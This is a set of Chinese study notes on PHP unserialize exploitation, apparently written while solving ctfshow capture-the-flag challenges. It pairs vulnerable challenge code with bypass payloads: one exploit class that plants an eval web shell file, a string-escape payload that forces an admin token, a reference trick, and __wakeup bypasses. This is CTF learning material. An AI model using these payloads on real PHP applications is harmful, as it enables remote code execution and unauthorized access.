PHP反序列化常用方法
常用绕过正则方式:
preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
将o:数字或c:数字改为O:+数字或C:+数字
preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))
使用提交:ctfshow_i_love_36D即可
在反序列化中,可以修改值,但不能改变逻辑方法,因为在序列化后不会替换其函数的逻辑方法。
highlight_file(__FILE__);
class ctfshowvip
{
public $username;
public $password;
public $code;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
}
public function __wakeup()
{
if ($this->username != '' || $this->password != '') {
die('error');
}
}
public function __invoke()
{
eval($this->code);
}
public function __sleep()
{
$this->username = '';
$this->password = '';
}
public function __unserialize($data)
{
$this->username = $data['username'];
$this->password = $data['password'];
$this->code = $this->username . $this->password;
}
public function __destruct()
{
if ($this->code == 0x36d) {
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
EXP:
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username='877.php';
$this->password='<?php eval($_POST[a]);?>';
}
}
$exp = serialize(new ctfshowvip());
echo $exp;
逃逸的绕过
针对逃逸类的反序列化,可使用替换绕过的方式比如
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
由str_replace('fuck', 'loveU', serialize($msg));可知替换后多了一个字符,原来的序列化为:
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
触发替换后的序列化为:
O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
可使用逃逸的方法直接替换掉后面的属性:
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function firnl($str){
return str_replace('fuck', 'loveU', $str);
}
$exp = serialize(new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c'));
$exp_ = firnl($exp)
针对简单的MD5两个判断绝对等于:
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
这种可以使用在初始化的时候,让内存地址相等的方法,使其绝对等于;
修改: $this->password = $p; 让其等于token的内存地址:$this->password = &$this->token;
针对正则判断后停止或报出错误,而利用点在销毁方法上的。可以把序列化的结果破坏进行提交绕过:
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
序列化的结果:O:7:"ctfshow":2:{s:8:"username";N;s:8:"password";N;}
可以使用O:7:"ctfshow":2:{}尝试进行绕过
绕过wakeup的办法:
用序列化加%00
private:属性被序列化的时候属性名会变成%00类名%00属性名
,长度跟随属性名长度而改变。加%00的目的就是用于替代\0
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}